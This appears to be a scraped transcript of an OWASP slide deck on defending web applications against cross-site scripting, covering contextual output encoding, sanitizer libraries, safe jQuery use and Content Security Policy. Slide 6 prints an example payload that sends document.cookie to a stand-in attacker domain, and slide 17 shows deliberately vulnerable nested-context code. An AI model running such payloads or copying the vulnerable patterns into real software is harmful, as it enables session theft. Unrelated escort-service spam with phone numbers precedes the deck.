Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...
Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...
 
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
VVIP Pune Call Girls Sinhagad WhatSapp Number 8005736733 With Elite Staff And...
 
VIP Model Call Girls Hadapsar ( Pune ) Call ON 9905417584 Starting High Prof...
VIP Model Call Girls Hadapsar ( Pune ) Call ON 9905417584 Starting  High Prof...VIP Model Call Girls Hadapsar ( Pune ) Call ON 9905417584 Starting  High Prof...
VIP Model Call Girls Hadapsar ( Pune ) Call ON 9905417584 Starting High Prof...
 

XSS Defence with @manicode and @eoinkeary

  • 1. The OWASP Foundation http://www.owasp.org Cross Site Scripting JavaScript Injection Contextual Output Encoding
  • 4. The OWASP Foundation http://www.owasp.org Encoding Output Safe ways to represent dangerous characters in a web page Characters Decimal Hexadecimal HTML Character Set Unicode " (double quotation marks) &#34; &#x22; &quot; u0022 ' (single quotation mark) &#39; &#x27; &apos; u0027 & (ampersand) &#38; &#x26; &amp; u0026 < (less than) &#60; &#x3C; &lt; u003c > (greater than) &#62; &#x3E; &gt; u003e
  • 5. The OWASP Foundation http://www.owasp.org XSS Attack Payloads – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently
  • 6. The OWASP Foundation http://www.owasp.org <script>window.location=‘https://evilev iljim.com/unc/data=‘ + document.cookie;</script> <script>document.body.innerHTML=‘<blink >EOIN IS COOL</blink>’;</script> Anatomy of a XSS Attack
  • 7. The OWASP Foundation http://www.owasp.org XSS Defense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  • 8. The OWASP Foundation http://www.owasp.org OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project • No third party libraries or configuration necessary. • This code was designed for high-availability/high- performance encoding functionality. • Simple drop-in encoding functionality • Redesigned for performance • More complete API (uri and uri component encoding, etc) in some regards. • This is a Java 1.5 project. • Will be the default encoder in the next revision of ESAPI. • Last updated February 14, 2013 (version 1.1)
  • 9. The OWASP Foundation http://www.owasp.org The Problem Web Page built in Java JSP is vulnerable to XSS The Solution <%-- Basic HTML Context --%> <body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body> <%-- HTML Attribute Context --%> <input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <%-- Javascript Block context --%> <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg); </script> <%-- Javascript Variable context --%> <button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click me</button>
  • 10. The OWASP Foundation http://www.owasp.org <b><%= Encode.forHtml(UNTRUSTED)%></b> <p>Title:<%= Encode.forHtml(UNTRUSTED)%></p> <textarea name="text"> <%= Encode.forHtmlContent(UNTRUSTED) %> </textarea>
  • 11. The OWASP Foundation http://www.owasp.org <input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" /> <input type="text" name="data" value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />
  • 12. The OWASP Foundation http://www.owasp.org <%-- Encode URL parameter values --%> <a href="/search?value= <%=Encode.forUriComponent(parameterValue)%>&order=1#top"> <%-- Encode REST URL parameters --%> <a href="http://www.codemagi.com/page/ <%=Encode.forUriComponent(restUrlParameter)%>">
  • 13. The OWASP Foundation http://www.owasp.org <a href="<%= Encode.forHTMLAttribute(untrustedURL) %>"> Encode.forHtmlContext(untrustedURL) </a>
  • 14. The OWASP Foundation http://www.owasp.org <button onclick="alert('<%= Encode.forJavaScript(alertMsg) %>');"> click me</button> <button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');">click me</button> <script type="text/javascript”> var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>"; alert(msg); </script>
  • 15. The OWASP Foundation http://www.owasp.org <div style="background: url('<%=Encode.forCssUrl(value)%>');"> <style type="text/css"> background-color:'<%=Encode.forCssString(value)%>'; </style>
  • 16. The OWASP Foundation http://www.owasp.org Other Encoding Libraries Ruby on Rails http://api.rubyonrails.org/classes/ERB/Util.html Reform Project Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP https://www.owasp.org/index.php/Category:OWASP_Encoding_Project ESAPI PHP.NET, Python, Classic ASP, Cold Fusion https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_ API .NET AntiXSS Library http://wpl.codeplex.com/releases/view/80289
  • 17. The OWASP Foundation http://www.owasp.org Nested Contexts Best to avoid: an element attribute calling a Javascript function etc - parsing chains <div onclick="showError('<%=request.getParameter("errorxyz") %>')" >An error occurred ....</div> Here we have a HTML attribute(onClick) and within a nested Javascript function call (showError). Parsing order: 1: HTML decode the contents of the onclick attribute. 2: When onClick is selected: Javascript Parsing of showError So we have 2 contexts here...HTML and Javascript (2 browser parsers).
  • 18. The OWASP Foundation http://www.owasp.org We need to apply "layered" encoding in the RIGHT order: 1) JavaScript encode 2) HTML Attribute Encode so it "unwinds" properly and is not vulnerable. <div onclick="showError ('<%= Encoder.encodeForHtml(Encoder.encodeForJ avaScript( request.getParameter("error")%>')))" >An error occurred ....</div>
  • 19. The OWASP Foundation http://www.owasp.org OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project • HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html- sanitizer/wiki/AttackReviewGroundRules. • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration (see below). No XML config. • Actively maintained by Mike Samuel from Google's AppSec team! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
  • 21. The OWASP Foundation http://www.owasp.org Solving Real World Problems with the OWASP HTML Sanitizer Project The Problem Web Page is vulnerable to XSS because of untrusted HTML The Solution PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("a") .allowUrlProtocols("https") .allowAttributes("href").onElements("a") .requireRelNofollowOnLinks() .build(); String safeHTML = policy.sanitize(untrustedHTML);
  • 22. The OWASP Foundation http://www.owasp.org OWASP JSON Sanitizer Project https://www.owasp.org/index.php/OWASP_JSON_Sanitizer • Given JSON-like content, converts it to valid JSON. • This can be attached at either end of a data-pipeline to help satisfy Postel's principle: Be conservative in what you do, be liberal in what you accept from others. • Applied to JSON-like content from others, it will produce well-formed JSON that should satisfy any parser you use. • Applied to your output before you send, it will coerce minor mistakes in encoding and make it easier to embed your JSON in HTML and XML.
  • 23. The OWASP Foundation http://www.owasp.org Solving Real World Problems with the OWASP JSON Sanitizer Project The Problem Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly The Solution JSON Sanitizer can help with two use cases. 1) Sanitizing untrusted JSON on the server that is submitted from the browser in standard AJAX communication 2) Sanitizing potentially untrusted JSON server-side before sending it to the browser. The output is a valid Javascript expression, so can be parsed by Javascript's eval or by JSON.parse.
  • 24. The OWASP Foundation http://www.owasp.org DOM-Based XSS Defense • Untrusted data should only be treated as displayable text • JavaScript encode and delimit untrusted data as quoted strings • Use safe API’s like document.createElement("…"), element.setAttribute("…","value"), element.appendChild(…) and $(‘#element’).text(…); to build dynamic interfaces • Avoid use of HTML rendering methods • Avoid sending any untrusted data to the JS methods that have a code execution context likeeval(..), setTimeout(..), onclick(..), onblur(..).
  • 25. The OWASP Foundation http://www.owasp.org  SAFE use of JQuery  $(‘#element’).text(UNTRUSTED DATA); UNSAFE use of JQuery $(‘#element’).html(UNTRUSTED DATA);
  • 26. The OWASP Foundation http://www.owasp.org 26 jQuery methods that directly update DOM or can execute JavaScript $() or jQuery() .attr() .add() .css() .after() .html() .animate() .insertAfter() .append() .insertBefore() .appendTo() Note: .text() updates DOM, but is safe. Dangerous jQuery 1.7.2 Data Types CSS Some Attribute Settings HTML URL (Potential Redirect) jQuery methods that accept URLs to potentially unsafe content jQuery.ajax() jQuery.post() jQuery.get() load() jQuery.getScript()
  • 27. The OWASP Foundation http://www.owasp.org  Contextual encoding is a crucial technique needed to stop all types of XSS  jqencoder is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM-based XSS  http://plugins.jquery.com/plugin- tags/security  $('#element').encode('html', cdata); JQuery Encoding with JQencoder
  • 28. The OWASP Foundation http://www.owasp.org Content Security Policy • Anti-XSS W3C standard • Content Security Policy latest release version • http://www.w3.org/TR/CSP/ • Must move all inline script and style into external scripts • Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use - Firefox/IE10PR: X-Content-Security-Policy - Chrome Experimental: X-WebKit-CSP - Content-Security-Policy-Report-Only • Define a policy for the site regarding loading of content
  • 29. The OWASP Foundation http://www.owasp.org Get rid of XSS, eh? A script-src directive that doesn‘t contain ‘unsafe-inline’ eliminates a huge class of cross site scripting I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT
  • 31. The OWASP Foundation http://www.owasp.org What does this report look like? { "csp-report"=> { "document-uri"=>"http://localhost:3000/home", "referrer"=>"", "blocked-uri"=>"ws://localhost:35729/livereload", "violated-directive"=>"xhr-src ws://localhost.twitter.com:*" } }
  • 32. The OWASP Foundation http://www.owasp.org { "csp-report"=> { "document-uri"=>"http://example.com/welcome", "referrer"=>"", "blocked-uri"=>"self", "violated-directive"=>"inline script base restriction", "source-file"=>"http://example.com/welcome", "script-sample"=>"alert(1)", "line-number"=>81 } } What does this report look like?